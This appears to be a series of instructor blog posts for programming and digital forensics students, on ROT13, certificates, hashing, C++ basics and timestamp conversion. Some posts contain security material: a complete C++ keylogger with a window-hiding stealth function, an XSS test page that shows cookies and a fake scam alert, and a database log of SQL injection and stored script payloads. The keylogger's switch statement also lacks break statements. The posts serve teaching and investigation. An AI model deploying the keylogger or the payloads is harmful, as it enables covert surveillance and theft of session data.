ROT13 in Powershell

Let see if someone would like to talk about this function. You can open your administrative command prompt and type powershell. Copy and paste the following function onto the powershell command line.

Function Rot_num([string]$str, $n)
{
$value=""
For ($index= 0;$index -lt $str.length;$index++){
$ch= [byte][char]($str.substring($index,1))
if ($ch-ge 97 -and $ch -le 109){$ch=$ch+ $n}
else {
if ($ch-ge 110 -and $ch -le 122){$ch=$ch- $n}
else {
if ($ch-ge 65 -and $ch -le 77){$ch=$ch+ $n}
else {
if ($ch-gt 78 -and $ch -le 90){$ch=$ch -$n}
}
}
}
$value=$value+ [char]$ch
}
Return $value
}

After you have pasted the function above, you can start using it to see how it works. Just type rot_num followed by a string and the number 13. Then you can do the same to decrypt the value by typing rot_num encrypted message and the number 13 again. It should decrypt the encrypted message.

PS C:\> Rot_num Hell0Urhere2014 13
             Uryy0Heurer2014
PS C:\> Rot_num Uryy0Heurer2014 13
             Hell0Urhere2014

So, talk about what this code does and what is ROT-13.

Certificates

In many case, students learn coding because it is in the computer science curriculum, but until graduate school. computer science is nothing else but coding without many real world applicable meaning of those skills.

Using learned skills take time and applying the skills learned in the classroom takes time or will it?  Programming languages evolved to a stage where traditional computer science classes should produce skills much quicker than even 10-15 years ago.  Languages like Scratch, Kodu, SmallBasic, ... can teach kids from age 6-7 to code code that used to take weeks to create.  Thus, we should be able to apply learned skills in much higher level by the time students reach college.

That requires learning the environment and terminology where the code will be placed, what we refer to as Information Technology ( I.T. ).  What is the point to let a programmer design a code that will be used in a network environment if the programmer have no idea what broadcast traffic is and the final code will broadcast so much that will bring the whole network to a halt.

Code can be performing the same function we talked about in the early stage of programming, but elevate the skills to include security concepts even at the simplest level.

Let see what we can do about understanding X509 certificates used in the Public Key Infrastructure ( PKI ) environment.

Generate a a public / private key certificate on your computer that can be used with Microsoft's Encrypting File Systems ( EFS ) to be the recovery agent.  Recovery Agents are used to help users get back to their files in case if the user forgets the password or if the user's certificate is lost or corrupted.  It might be considered the "back door", but for good purpose and need to know how to manage this configuration to provide security instead of vulnerability.

In forensic investigation, we also need to know how to use this process in order to recover user files for investigations and what are the consequences of resetting system passwords without actually finding the user's password.  Offline resetting user password will lose our ability to recover file content with the user's credentials, but we can still get to the user file content using the recovery agent credentials.

C:\>cipher /rc:\temp\recoveryAgent
Please type in the password to protect your .PFX file:
Please retype the password to confirm:


Your .CER file was created successfully.
Your .PFX file was created successfully.

At this point, we have a certificate that we can work with, but you might want to see how to use it in the operating system.

Type certmgr.msc and import the certificate.  Double click on the certificate to see its details.

So, can we see the same type of information by writing our own code?  We should be able to read the details of this certificate by using predefined libraries where we do not need to implement a class full of methods and dissect the structure in a "painful" way.  Technology can help and we can read teh certificate like we read any other simple text input file.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security;
using System.Net;
using System.Security.Cryptography.X509Certificates;

namespace ReadCert
{
    class Program
    {
        static void Main(string[] args)
        {
            X509Certificate cert = X509Certificate.CreateFromCertFile("c:\\temp\\recoveryAgent.cer");
            System.Console.WriteLine("Serial Number: {0}", cert.GetSerialNumberString());
            System.Console.WriteLine("Effective Date: {0}", cert.GetEffectiveDateString());
            System.Console.WriteLine("Name: {0}", cert.GetName());
            System.Console.WriteLine("Public Key: {0}", cert.GetPublicKeyString());
            System.Console.WriteLine("Pblick Key Algorithm: {0}", cert.GetKeyAlgorithm());
            System.Console.WriteLine("Issuer: {0}", cert.GetIssuerName());
            System.Console.ReadLine();

        }
    }
}

The output will show something like this:

Serial Number: 1B982E5AE7996DB54A2539E549580EAF

Effective Date: 10/21/2014 7:41:40 AM

Name: CN=Zoltan, L=EFS, OU=EFS File Encryption Certificate

Public Key: 3082010A0282010100C8CB222A159660D559147EA174004766B619B1C6478897F6DF

79EE28C9A4BC26984009B915FDEE6669F27A3E56AD592CC22A3D89FEBA94A6BB778C6A9A804E1489C4F23B8903ADBB71364546500611606E8D5E8F9C9D8DA0F231C7696251BC24671A31F0DA562F63607032A1E9ED69E772059686EE128E8D6D303A0E1856748ED3B8CA9C17121D933810B0D274CD87AD066E710466A5657CE4946C7F14827E99F20634CE096867685134AB752770CFA0C5DDCC95BF20EBE9651D097BCD7A792CB38389FD0FEDC702F23EC2AA9B3AC8873EDF5E525241263CE7641881E5E052D681460EBE8F69C2887AA8DD6FC28A81602257F4139EC34C40173868DC240F6AC70203010001

Pblick Key Algorithm: 1.2.840.113549.1.1.1

Issuer: CN=Zoltan, L=EFS, OU=EFS File Encryption Certificate

You still have to understand what this means and how to use it, but it is much better conversation than writing the good old "Hello World" read from a text file.  Embrace technology and learn about I.T. with coding in mind not the traditional business based computer science based thinking to find the area of the pizza pie. 

Hash and test

One of the most basic concept we learn in digital forensics is to ensure our evidence is not changed after acquisition is hashing.  Hashing helps verify the integrity of the data and helps reduce the dataset by identifying known good files.  Hashes can also identify known "bad" data or partial hashes can identify data that are close enough to investigate further for relevance.  Of course, hashes are also used to store passwords for authentication.  There are many algorithms available, but each algorithm must work exactly the same in software implementations.

When using libraries and third party implementations, you still need to test and validate if the implementation works are designed and implemented properly.

The following is an implementation using third party library:

using System;
using XCrypt;
//http://www.codeproject.com/Articles/483490/XCrypt-Encryption-and-decryption-class-wrapper
//Click to download source "Download source code"
//Click on Project -> Add Reference -> navigate to where you have extracted XCrypt.dll

namespace hashMD5
{
    class Program
    {
        static void Main(string[] args)
        {
            XCryptEngine encrypt = new XCryptEngine();
            encrypt.InitializeEngine(XCryptEngine.AlgorithmType.MD5);
            Console.WriteLine("Enter string to hash:");
            string inText = Console.ReadLine();
            string hashText = encrypt.Encrypt(inText);
            Console.WriteLine("Input: {0}\r\nHash: {1}", inText, hashText);
            byte[] temp=GetBytes(hashText);  //for debugging to see each byte value
            Console.ReadLine();

        }
        static byte[] GetBytes(string str)
        {
            byte[] bytes = new byte[str.Length * sizeof(char)];
            System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);
            return bytes;
        }
    }
}

Running the code results in the following output.

Enter string to hash:
Richland College
Input: Richland College
Hash: zlC4yZP3XqYqqboh5Lv4IA== 

The output looks strange and more like Base64 than MD5.  We can place break points in the code and monitor for the actual byte values to see the results to see if it is even close to the actual solution.

We can see the hash values are 122, 0 , 108, 0 ...

Now, let see another program implementation of MD5:

using System;

using System.Collections.Generic;

using System.Text;

using System.Security.Cryptography;

namespace anotherHashMD5SHA1

{

    class Program

    {

        static void Main(string[] args)

        {

            Console.WriteLine("Enter an message: ");

            string message = Console.ReadLine();

            System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();

            MD5 md5 = new MD5CryptoServiceProvider();

            SHA1 sha1 = new SHA1CryptoServiceProvider();

            byte[] messageBytes = encoding.GetBytes(message);

            byte[] hashmessage = md5.ComputeHash(messageBytes);

            string stringMD5 = ByteToString(hashmessage);

            hashmessage = sha1.ComputeHash(hashmessage);

            string stringSHA1 = ByteToString(hashmessage);

            Console.WriteLine("MD5: {0}\r\nSHA-1: {1}", stringMD5, stringSHA1);

//Console.WriteLine("MD5: {0}\r\nSHA-1: {1}",System.Text.Encoding.Default.GetString(hashmessage), stringSHA1);

            Console.ReadLine();

        }

        public static string ByteToString(byte[] buff)

        {

            string sbinary = "";

            for (int i=0; i < buff.Length; i++)

            {

                sbinary += buff[i].ToString("X2");

            }

            return (sbinary);

        }

    }

}

And the output of this code is as follows,

Enter an message:

Richland College

MD5: CE50B8C993F75EA62AA9BA21E4BBF820

SHA-1: B3A6FC316A94949871594C633C8977D28C70E8B7

So, we also need to see what the resulting byte values are for the hash value in order to see if we just have different encoding of the same byte values displayed and the results are really the same or not.

No, we do not have the same byte values, this one gives us 206, 80, 184, 201, ..., so witch one do we trust and use in our code?

You can use a few IT tools to see what the results of those tools will be.  I recommend HashOnClick.

http://www.2brightsparks.com/onclick/hoc.html

You can create a simple text file, in this case, I used the same text like I used with tool, "Richland College".  

CE50B8C993F75EA62AA9BA21E4BBF820 testfile.txt

The results show the same value as the second code sample, so the second code sample should be implemented.

So, as you can see, there are many implementations of the same algorithm and programmers should use libraries and code from others as much as possible to increase productivity and reduce development time, but only responsible code selection can lead to meaningful and more secure code.  Maybe secure coding should have a prerequisite of knowing IT tools and understanding what we expect tools to do before we try to implement code by compiling and "crossing fingers".

Signature of compiled code

Now, this example is for educational purposes only and you should not run this code on your own machine if you are not familiar with all of the lines in this code.

Keyloggers have been viewed as something only people with bad intention write, but it is nothing more than monitoring the keys that are pressed on the keyboard and saving them in a file for later review.

In investigation, you might have to look at code and identify basic pattern in order to "guess" what the code is designed to do.  In this example, you can see the basic feature of a keylogger and I hope it will teach you that simple code like this can be added to any code to accomplish the same.  Thus, downloading so called pirated and illegal or cracked version of applications can contain this type of added code.  For the user, the functionality of the application will not visibly change, but the application might have "added features" that users are not aware of.

In many cases, executable analysis is just a simple strings search that can reveal keywords compiled inside the executable that can be googled and lead to understand some of the features of the program.  We can see the message and a clear text of the file that is used to collect the captured keystrokes.  If the code would connect to a server on the Internet, we might even see the URL or the IP address of the server the data is exfiltrated to.

So, this case a simple keyword search on the executable reveals a portion of my code, thus the intended purpose.  So, code might be analyzed by non-programmers and still have a successful heuristic conclusion of what a code or a portion of the code is designed to do.

Warning: You will need to look at your taskmanager in order to stop this program from running.

#include<iostream>
#include<windows.h>
#include<winuser.h>
#include<fstream>
#include <string>

using namespace std;
int Save(int key_stroke, string file);
void Stealth();

int main(){
//Stealth();

char i;

        cout << "This is my example of a keylogger - Zoltan" << endl;

while (1){
for (i = 8; i <= 190; i++){
if (GetAsyncKeyState(i) == -32767)
Save(i, "collect.txt");
      }
      }
return 0;
}

int Save(int key_stroke, string file){
if ((key_stroke == 1) || (key_stroke == 2))
return 0;

ofstream outFile;
char pressed;
pressed = key_stroke;
outFile.open(file, std::fstream::app);
cout << VK_OEM_PERIOD << endl;
outFile << "\n";
switch (key_stroke){
case 8:
outFile << "[BACKSPACE]";
case 13:
outFile << " ";
case  VK_OEM_PERIOD:  //same as 190
outFile << ".";
case VK_TAB:
outFile << "[TAB]";
case VK_SHIFT:
outFile << "[SHIFT]";
case VK_CONTROL:
outFile << "[CONTROL]";
case VK_ESCAPE:
outFile << "[ESCAPE]";
case VK_END:
outFile << "[END]";
case VK_LEFT:
outFile << "[LEFT]";
case VK_UP:
outFile << "[UP]";
case VK_RIGHT:
outFile << "[RIGHT]";
case VK_DOWN:
outFile << "[DOWN]";
case VK_HOME:
outFile << "[HOME]";
case 110:
outFile << ".";
default:
outFile << pressed;
outFile.close();
}

return 0;
}

void Stealth(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}

The value of pseudo code

Sometimes, you will need to understand the problem and write a pseudo code before you even start thinking about solving problems.

i.e To determine whether a year is a leap year, follow these steps:

       1. If the year is evenly divisible by 4, go to step 2. Otherwise, go to step 5.
       2. If the year is evenly divisible by 100, go to step 3. Otherwise, go to step 4.
       3. If the year is evenly divisible by 400, go to step 4. Otherwise, go to step 5.
       4. The year is a leap year (it has 366 days).
       5. The year is not a leap year (it has 365 days).

So, what is the pseudo code for this problem?

Thiniking about objects

One of the most important concepts in computer science is to start thinking in objects where structures are the basic building blocks. Structures are the simplest objects that can be defined by users. In this example you can see that you can define a dataType called rooms and those rooms have a structure inside holding many different simple dataTypes like int, bool, and float. Each declared identifier of room type will have the same structure inside, but the values are assigned to reflect the specific room characteristics. The period character in this case is used as a member operator to have access to each identifier inside the structure. 

‪#‎include‬ <iostream>
#include<string>

using namespace std;

//Create a container that will hold individual room specific contents
struct room{
                   bool table;
                   int chairs;
                   float classAverage;
                   bool projector;
                   int windows;
                   int doors;
                   string keyNumber;
                   string roomName;
};

int main(){
         room D155;                    //Create a specific room and set its unique characteristics 
         D155.chairs = 25;
         D155.classAverage = 93.75;
         D155.keyNumber = "78M";
         D155.windows = 0;
         D155.projector = true;
         D155.table = true;
         D155.doors = 1;
         D155.roomName = "D155";

         cout << "The room number is:" <<D155.roomName<< endl;
         cout << "The room holds " << D155.chairs
                 <<" and the class average is: "<<D155.classAverage<<endl;
return 0;
}

Random numbers

Measure the randomness of random number generators. If you find out that random numbers are not really random, then it means you can predict the next value. That would be great in playing casino games or breaking encryption.

‪#‎include‬ <iostream>
#include<time.h>

using namespace std;

int main(){

              int zero=0,one=0, two=0, three=0, four=0;


              for(int i=0;i<100;i++){
                       srand ( time(NULL) );
                       Richland = rand() % 5;
            
                       switch(Richland){
                             case 0:
                                   zero++;
                                   break;
                            case 1:
                                   one++;
                                   break;
                            case 2:
                                   two++;
                                   break;
                            case 3:
                                   three++;
                                   break;
                            case 4:
                                   four++;
                                   break;
                           }
               }

            cout<<"The value of zeroes: "<<zero<<endl;
            cout<<"The value of ones: "<<one<<endl;
            cout<<"The value of twos: "<<two<<endl;
            cout<<"The value of threes: "<<three<<endl;
            cout<<"The value of fours: "<<four<<endl;

            return 0;
}

Raptor

You guys can practice your flow charting skills with this great tool that can actually create a working application from flowchart and even create a good enough code in C#, C++, and Java.

Great learning tool - http://raptor.martincarlisle.com/

Java 01 - Getting Started

If any of you will be taking Java this semester, then you need to get ready by configuring your environment at home.

http://youtu.be/u4pYCtbsFO4

You can also download a live operating system that is pre-configured for C++, Java, and Python programming.

https://docs.google.com/file/d/0B7on8PrpfneCZ0Jxb0t6cE9wSmM/edit

You can view a video on how to setup and use the live environment: https://www.youtube.com/watch?v=joPZf8iVtAc 

Java 02 - Javadoc

In order to use Java and learn the Java documentation process, you might need to be able to know how to navigate in a command line environment in order to understand the easier method of using your IDE that will create the documentation for you. If you have taken C++ and you were annoyed by the header and comments that you had to write, now you will love the java documentation that will take all those comments and convert them into documentation automatically. 

See a video of this process.
http://youtu.be/xqSzQBrFT-M

Check the facts and think critically

Once I was at a conference and the speaker gave a strange analogy of how fast hard drives need to work. He said, "Reading of bits on the hard drive plate is like a fighter jet flying at MOCK-4 1 foot off the ground counting every grass blades on the ground.". Can this be true, can we calculate if he was correct or just exaggerating? How would you start designing this program?

By my calculations, for a 3.5inch hard drive, the outer edge is traveling at 78mph and the inner track at 33.45mph. MOCK-4 is a supersonic speed 3069mph. If I'm correct, he was WAAAAY off. Can you check my values?

Label, For, or While loop performance test

• This conversation deserves a blog entry.  
• A: If you find different ways to accomplish the same thing, make sure to test the performance of the code each way at least 3 times and average the results just like in other science classes like physics. I do not see any noticeable difference in any of these implementations. Do you?

  
  
•    B: I think in a small project label goto won't be that big a difference but in a massive project it might make a difference 
• A:  A loop is nothing else, but an if statement with a jump. What you do after the comparison and before the jump does not matter. It will not be a jump that slows your code down, but the block that does the work. If you find an example and you can test for performance issues, than we have a case, but until then this is just a rumor. You will also investigate if the code is using the stack or using dynamic heap memory, since that will affect the performance of a code running, but not he simple jump.

Test results do not show any difference.  Any suggestions, comments?  Please, include sample code and/or testing methodology to show any difference that you might believe exists.

Back to basics - Develop Forensic Analyst Mindset

This is a must watch video and must play game in order to even get started in developing an investigative mindset that is essential in incident response and cybersecurity investigations.

You can not just read about cybersecurity, you need to start developing skills, but will see that even basic skills an be challenging as you start using those skills in real environments.

This video will also show you that basic encoding can also be used by actual applications to store passwords.  It will also show you how Base64 works and how important log analysis is in this field.

http://youtu.be/9sGhmYlBrXU

Back to basics - Convert ICS to HTML and CSV

The discreet nature of calendar entries make seeing the over all picture or in investigations seeing a pattern of events is very difficult.  We need to be able to see the events in chronological order in a single document that we can use as a report or chart the values for easy understanding of events for non-technical professionals.

One of the most useful and versatile applications when it comes to Internet communication.  In this blog, I will explore the capability of this tool to convert .ics files, that is the only format that Google Calendar exports.

I also created a video to accommodate this blog post: http://youtu.be/WbBRhP6VXbs

So, in order to follow this process, you need to download and install Thunderbird, https://www.mozilla.org/en-US/thunderbird/download.

Login to your Google Calendar and create a new calendar.

Add new schedules to the new calendar and export the calendar as an .ics file.  Notice in the exported .ics file below the date and time stamps are not very user friendly to read, so it might need to be manually converted to make sense to non-technical professionals.  On the other hand, the HTML and CSV exported files below show the date and time stamps displayed in user friendly format that is easy to report and charted for easy interpretation without any manual conversion or risk of human error.

Import the .ics file into Thunderbird's Lightning add-on, that adds the calendar feature to Thunderbird.

Export the calendar as .ics, .html, or .csv format.

The HTML document can be directly used as a report, but the CSV format gives more flexibility to analyze the data or create chart to show clear patterns of events. 

Thus, digital forensics is about pattern recognition, but pattern can not emerge in some cases in its native format.  So, we need to focus on software capability to import certain file types and explore applications capability to export the data into different format that can aid our analysis and help identify patterns to solve cases.  

Back to basics - SQL and XSS

This post is accompanied by a video explaining this process and you can do about it.

http://youtu.be/-W3efiMT8H0

Sample web page to test Javascipts in browser.  Save the following code in a text file, name it test.html ad open it in your browser to see what it does.

<HTML>
<HEAD>>
              <script> window.open('http://zoltandfw.blogspot.com/','_blank')</script>
              <script> alert(document.cookie)</script>
              <script> alert("Your account has been compromised, please call (111)222-3333 to report!!!")               </script>
</HEAD>
<BODY>
              Just a test for JavaScripts
</BODY>
</HTML>

Sample log file entries showing details on what information might be collected in log files to investigate after the fact or monitor for real-time response.  

141027  7:39:45  122 Connect root@localhost on 

 122 Init DB badbank

 122 Query SELECT userid, accountnumber FROM badbank_accounts WHERE username='zoltan' AND password='9f1c050c2b226c2154d17a3ff9a602f6'

 122 Quit

141027  7:41:55  123 Connect root@localhost on 

 123 Init DB badbank

 123 Query SELECT userid, accountnumber FROM badbank_accounts WHERE username='zoltan' -- ' AND password='d41d8cd98f00b204e9800998ecf8427e'

 123 Quit

141027  8:00:30  124 Connect root@localhost on 

 124 Init DB badbank

 124 Quit

 125 Connect root@localhost on 

 125 Init DB badbank

 125 Quit

141027  8:42:47  126 Connect ODBC@localhost as  on 

 126 Query select @@version_comment limit 1

141027  8:42:55  126 Query show databases

141027  8:43:26  126 Query SELECT DATABASE()

 126 Init DB Access denied for user ''@'localhost' to database 'badbank'

141027  8:43:41  126 Quit

...

141027  9:04:20  130 Query select * from badbank_transactions

141027  9:05:22  213 Connect root@localhost on 

 213 Init DB badbank

 213 Query SELECT balance FROM badbank_accounts WHERE userid=61

 213 Quit

141027  9:05:37  214 Connect root@localhost on 

 214 Init DB badbank

 214 Query SELECT balance FROM badbank_accounts WHERE userid=61

 214 Query SELECT userid FROM badbank_accounts WHERE username='victim1'

 214 Query UPDATE badbank_accounts SET balance=balance-1 WHERE userid=61

 214 Query UPDATE badbank_accounts SET balance=balance+1 WHERE userid=60

 214 Query INSERT INTO badbank_transactions (userid,time,withdrawn,transactor,transfernote) VALUES (61,NOW(),1,60,'<script> alert(document.cookie)</script>')

 214 Query INSERT INTO badbank_transactions (userid,time,deposited,transactor,transfernote) VALUES (60,NOW(),1,61,'<script> alert(document.cookie)</script>')

 214 Quit

141027  9:05:41  215 Connect root@localhost on 

 215 Init DB badbank

 215 Quit

 216 Connect root@localhost on 

 216 Init DB badbank

 216 Quit

Back to Basics - Information Assurance - Robots.txt

Note: If you like these blog posts, please click the +1 !

In some cases, you might need to, so called, crawl a web site to gather keywords or email addresses. Web sites can utilize the use of robots.txt files to prevent simple automated crawling of the entire website or part of it. The robots.txt file gives instructions to web robots about what not allowed on the web site using the Robots Exclusion Protocol. So, if a website contains a robots.txt like:

User-Agent: * 
Disallow: / 

This robots.txt will disallow all robots from visiting all pages on the web site. So, if a robot would try to visit a web site http://www.domain.topdomain/examplepage.html, then robots.txt in the root of the website http://www.domain.topdomain/robots.txt will not permit the robot to access the website. The robots.txt file can be ignored by many web crawlers, so it should not be used as a security measure to hide information. We should also be able to ignore such a simple security measure to investigate or to test web site security. I have mentioned in previous web posts the tool called wget that is a very useful tool to download a web page, website, or malware from the command line. This simple tool can also be configured to ignore the robots.txt file, but by default, it respects it, so you need to specifically tell the tool to ignore is directions.

wget -e robots=off --wait 1 -m http://domain.topdomain 
FINISHED --2014-10-26 11:12:36-- 
Downloaded: 35 files, 22M in 19s (1.16 MB/s) 

While not using the robots=off option will result in the following results.

wget -m http://domain.topdomain 
FINISHED --2014-10-26 11:56:53-- 
Downloaded: 1 files, 5.5K in 0s (184 MB/s)

It is clear to see in this example that we would have missed 34 files by not being familiar with this simple file and its purpose.

Using "User-Agent: * " is a great option to block robots of unknown name blocked unless the robots use other methods to get to the website contents. Let's try and see what will happen if we use wget without robots=off.

 
As you can see the User-Agent is set to wget/1.11( default Wget/version ), so as you can see in the list below, a robots.txt with the content list below would catch this utility and prevent it from getting the website contents.

Note: The orange highlighted three packets are the 3-way handshake, so the request for the resources with the User-agent settings is the fist packet following the three-way handshake.  That might be a good pattern for alarm settings.

wget also has an option to change the user-agent default string to anything the user wants to use.

wget --user-agent=ZOLTAN -m http://domain.topdomain 

As you can see in the packet capture, the user-agent was overwritten as the option promised, but the website still only allowed a single file download due to User-agent: * that captured the unknown string.  So, robots.txt can help protecting the website to a certain extent, but the -e robots=off option did get the whole website content even though the packet contained an unmodified User-agent settings.

robots.txt can have specific contents to keep unsafe robots away from a web site or to provide basic protection from these "pests":   ( This list is not exhaustive, but it can be a good source to learn about malicious packet contents and a good resource for further reading on each one of these software tools. )

User-agent: Aqua_Products
Disallow: /

User-agent: asterias
Disallow: /

User-agent: b2w/0.1
Disallow: /

User-agent: BackDoorBot/1.0
Disallow: /

User-agent: Black Hole
Disallow: /

User-agent: BlowFish/1.0
Disallow: /

User-agent: Bookmark search tool
Disallow: /

User-agent: BotALot
Disallow: /

User-agent: BuiltBotTough
Disallow: /

User-agent: Bullseye/1.0
Disallow: /

User-agent: BunnySlippers
Disallow: /

User-agent: Cegbfeieh
Disallow: /

User-agent: CheeseBot
Disallow: /

User-agent: CherryPicker
Disallow: /

User-agent: CherryPicker /1.0
Disallow: /

User-agent: CherryPickerElite/1.0
Disallow: /

User-agent: CherryPickerSE/1.0
Disallow: /

User-agent: CopyRightCheck
Disallow: /

User-agent: cosmos
Disallow: /

User-agent: Crescent
Disallow: /

User-agent: Crescent Internet ToolPak HTTP OLE Control v.1.0
Disallow: /

User-agent: DittoSpyder
Disallow: /

User-agent: EmailCollector
Disallow: /

User-agent: EmailSiphon
Disallow: /

User-agent: EmailWolf
Disallow: /

User-agent: EroCrawler
Disallow: /

User-agent: ExtractorPro
Disallow: /

User-agent: FairAd Client
Disallow: /

User-agent: Flaming AttackBot
Disallow: /

User-agent: Foobot
Disallow: /

User-agent: Gaisbot
Disallow: /

User-agent: GetRight/4.2
Disallow: /

User-agent: grub
Disallow: /

User-agent: grub-client
Disallow: /

User-agent: Harvest/1.5
Disallow: /

User-agent: hloader
Disallow: /

User-agent: httplib
Disallow: /

User-agent: humanlinks
Disallow: /

User-agent: ia_archiver
Disallow: /

User-agent: ia_archiver/1.6
Disallow: /

User-agent: InfoNaviRobot
Disallow: /

User-agent: Iron33/1.0.2
Disallow: /

User-agent: JennyBot
Disallow: /

User-agent: Kenjin Spider
Disallow: /

User-agent: Keyword Density/0.9
Disallow: /

User-agent: larbin
Disallow: /

User-agent: LexiBot
Disallow: /

User-agent: libWeb/clsHTTP
Disallow: /

User-agent: LinkextractorPro
Disallow: /

User-agent: LinkScan/8.1a Unix
Disallow: /

User-agent: LinkWalker
Disallow: /

User-agent: LNSpiderguy
Disallow: /

User-agent: lwp-trivial
Disallow: /

User-agent: lwp-trivial/1.34
Disallow: /

User-agent: Mata Hari
Disallow: /

User-agent: Microsoft URL Control
Disallow: /

User-agent: Microsoft URL Control - 5.01.4511
Disallow: /

User-agent: Microsoft URL Control - 6.00.8169
Disallow: /

User-agent: MIIxpc
Disallow: /

User-agent: MIIxpc/4.2
Disallow: /

User-agent: Mister PiX
Disallow: /

User-agent: moget
Disallow: /

User-agent: moget/2.1
Disallow: /

User-agent: mozilla/4
Disallow: /

User-agent: Mozilla/4.0 (compatible; BullsEye; Windows 95)
Disallow: /

User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 2000)
Disallow: /

User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Disallow: /

User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)
Disallow: /

User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows ME)
Disallow: /

User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Disallow: /

User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows XP)
Disallow: /

User-agent: mozilla/5
Disallow: /

User-agent: MSIECrawler
Disallow: /

User-agent: NetAnts
Disallow: /

User-agent: NetMechanic
Disallow: /

User-agent: NICErsPRO
Disallow: /

User-agent: Offline Explorer
Disallow: /

User-agent: Openbot
Disallow: /

User-agent: Openfind
Disallow: /

User-agent: Openfind data gathere
Disallow: /

User-agent: Oracle Ultra Search
Disallow: /

User-agent: PerMan
Disallow: /

User-agent: ProPowerBot/2.14
Disallow: /

User-agent: ProWebWalker
Disallow: /

User-agent: psbot
Disallow: /

User-agent: Python-urllib
Disallow: /

User-agent: QueryN Metasearch
Disallow: /

User-agent: Radiation Retriever 1.1
Disallow: /

User-agent: RepoMonkey
Disallow: /

User-agent: RepoMonkey Bait & Tackle/v1.01
Disallow: /

User-agent: RMA
Disallow: /

User-agent: searchpreview
Disallow: /

User-agent: SiteSnagger
Disallow: /

User-agent: SpankBot
Disallow: /

User-agent: spanner
Disallow: /

User-agent: suzuran
Disallow: /

User-agent: Szukacz/1.4
Disallow: /

User-agent: Teleport
Disallow: /

User-agent: TeleportPro
Disallow: /

User-agent: Telesoft
Disallow: /

User-agent: The Intraformant
Disallow: /

User-agent: TheNomad
Disallow: /

User-agent: TightTwatBot
Disallow: /

User-agent: Titan
Disallow: /

User-agent: toCrawl/UrlDispatcher
Disallow: /

User-agent: True_Robot
Disallow: /

User-agent: True_Robot/1.0
Disallow: /

User-agent: turingos
Disallow: /

User-agent: URL Control
Disallow: /

User-agent: URL_Spider_Pro
Disallow: /

User-agent: URLy Warning
Disallow: /

User-agent: VCI
Disallow: /

User-agent: VCI WebViewer VCI WebViewer Win32
Disallow: /

User-agent: Web Image Collector
Disallow: /

User-agent: WebAuto
Disallow: /

User-agent: WebBandit
Disallow: /

User-agent: WebBandit/3.50
Disallow: /

User-agent: WebCopier
Disallow: /

User-agent: WebEnhancer
Disallow: /

User-agent: WebmasterWorldForumBot
Disallow: /

User-agent: WebSauger
Disallow: /

User-agent: Website Quester
Disallow: /

User-agent: Webster Pro
Disallow: /

User-agent: WebStripper
Disallow: /

User-agent: WebZip
Disallow: /

User-agent: WebZip/4.0
Disallow: /

User-agent: Wget
Disallow: /

User-agent: Wget/1.5.3
Disallow: /

User-agent: Wget/1.6
Disallow: /

User-agent: WWW-Collector-E
Disallow: /

User-agent: Xenu's
Disallow: /

User-agent: Xenu's Link Sleuth 1.1c
Disallow: /

User-agent: Zeus
Disallow: /

User-agent: Zeus 32297 Webster Pro V2.9 Win32
Disallow: /

User-agent: Zeus Link Scout
Disallow: /

Back to Basics - Intellectual Property

This post is about practicing critical thinking when it comes to intellectual property cases and to track down old or previous websites using copyright material. We can also us this technique to locate images where only the portion of the image is used or relevant to the case.

Back to basics - Time revisited

It is very strange why PowerShell would return a date where the year is wrong ( 0x451a1eb0d869cc01).

PS> get-date 129594868675516997
Saturday, September 3, 0411 1:27:47 AM

Try more than just one value and see if there is a pattern of miscalculation.

PS> get-date 128989761240000000
Friday, October 2, 0409 4:55:24 PM

Always use a tool to validate your findings and keep you on the right track. Here, I'm using FTK Imager to decode the date/time of a little endian value to make sure I get the same results by hand and to identify any mistakes I might make with the manual conversion.  This way, I can also double check if PowerShell interprets the values correctly.

The same value returns the correct date and time if used in this format

PS>[datetime]::fromfiletime("129594868675516997")

Friday, September 2, 2011 8:27:47 PM

UTC time is also returns the correct date and time.  It seems like that is also what the get-date is trying to do.

PS> [datetime]::fromfiletimeUTC("129594868675516997")

Saturday, September 3, 2011 1:27:47 AM

Converting the hex values in Excel and working with the rounded scientific notation should not be used due to the rounding error.

PS> [datetime]::fromfiletime("1.29595E+17")

Saturday, September 3, 2011 12:06:40 AM

If you know the epoc of a time, then you can easily adjust PowerShell to give you the correct time from the epoc by adding the origin to the datetime.

[timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').addseconds("1337329458"))


Friday, May 18, 2012 3:24:18 AM

Microsoft counts 100-nanoseconds, so the time value needs to be divided by 1e7 to get the second values from the epoc time.  129594868675516997/1e7 = 12959486867.55169

[timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1601').addseconds(12959486867.55169))


Friday, September 2, 2011 8:27:47 PM

Thus, analyzing Mozilla Firefox, we can examine places.sqlite database for downloaded applications in the moz_annos table.  We can see values under content column like:
(C:\Users\<UID>\AppData\Roaming\Mozilla\Firefox\Profiles\<random>.default-<random>)

{"state":1,"endTime":1413773919879,"fileSize":4210920}

Based on the given file size ( in Bytes ), we can correlate an exfiltrated file even if its name was changed.  In order to find the time ( tracks it in milliseconds, so divide the value by 1000 ) when the exfiltration was completed we can run PowerShell with the Unix epoc date:

[timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').addseconds("1413773919.879"))


Sunday, October 19, 2014 9:58:39 PM

This value can be verified by Decode
( http://www.digital-detective.net/digital-forensic-software/free-tools/ )

Thus, testing, verification, and validation should be part of every analysis especially before a new tool or a tool update is implemented.  Risk management is as important part of forensic analysis as technical knowledge.

Back to basics - Drive transfer rate

Maybe it is not relevant to most investigators, but knowing your devices and your hardware can help in determining how long an acquisition or indexing of an evidence might take.  Measuring the performance of the storage devices are just as important as analyzing a case for relevant evidence.  You have to be detailed enough and have the drive to understand technology in order to move toward becoming an expert.  The first step of education is to ask questions and find the best answers possible, but not by "googling" for answers other did.

In this case, we examine out storage device transfer rate in a USB 2.0 and in USB 3.0 ports.  I'm lucky enough to have both of these ports on my laptop to test these ports, but if you ignore the port speed then you will never know why sometimes you get better performance.

